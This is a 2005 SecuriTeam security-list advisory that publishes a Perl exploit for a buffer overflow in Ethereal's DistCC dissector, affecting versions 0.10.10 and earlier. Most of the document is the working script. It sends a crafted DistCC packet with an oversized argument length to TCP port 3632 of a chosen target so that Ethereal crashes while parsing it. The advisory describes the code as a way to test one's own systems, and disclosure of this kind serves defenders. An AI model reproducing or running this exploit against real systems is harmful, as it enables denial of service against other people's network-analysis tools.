[EXPL] Ethereal DistCC Buffer Overflow (Exploit)
From: SecuriTeam (support_at_securiteam.com)
Date: 05/10/05
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To: list@securiteam.com Date: 10 May 2005 12:52:49 +0200
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Ethereal DistCC Buffer Overflow (Exploit)
------------------------------------------------------------------------
SUMMARY
As we reported in our previous article:
<http://www.securiteam.com/securitynews/5AP0C00FPO.html> Ethereal DistCC
Dissector Overflow, a vulnerability in Ethereal's DistCC dissector allows
attackers to cause Ethereal to crash by overflowing an internal buffer
used by Ethereal when it tries to handle DistCC related packets. The
following exploit code can be used to test your system for the mentioned
vulnerability.
DETAILS
Vulnerable Systems:
* Ethereal version 0.10.10 and prior
Immune Systems:
* Ethereal version 0.10.11 or newer
Exploit:
#!/usr/bin/perl -w
# Exploit generated by beSTORM on 2005-05-10 12:45
# All Rights Reserved - Copyright (tm)
use IO::Socket;
use strict;
my $target = shift;
my $print_usage = 0;
if (!$target)
{
usage();
print "No target has been supplied, reverting to 192.168.1.52.\n";
$target = "192.168.1.52";
}
print "Will attack $target.\n";
my $target_port = 3632;
my $packet =<<END;
DIST00000001ARGC00000008ARGVFFFFFF00ccARGV00000002-gARGV00000003-O2ARGV00000005-WallARGV00000002-cARGV00000006main.cARGV00000002-oARGV00000006main.oDOTI0000001Bint main()\n{\n return(0);\n}\n
END
print "Sending: [$packet]\n";
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $target,
PeerPort => "3632");
unless ($remote) { die "cannot connect to distcc daemon on $target" }
print $remote $packet;
print "Done.\n";
sub usage
{
if ($print_usage) { return; }
$print_usage = 1;
print ("#"x50);
print "\n";
print "# $0 [hostname]\n";
print "# hostname\t-\tThe host the packet will be sent to.\n";
print "\n";
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:storm@beyondsecurity.com>
beSTORM.
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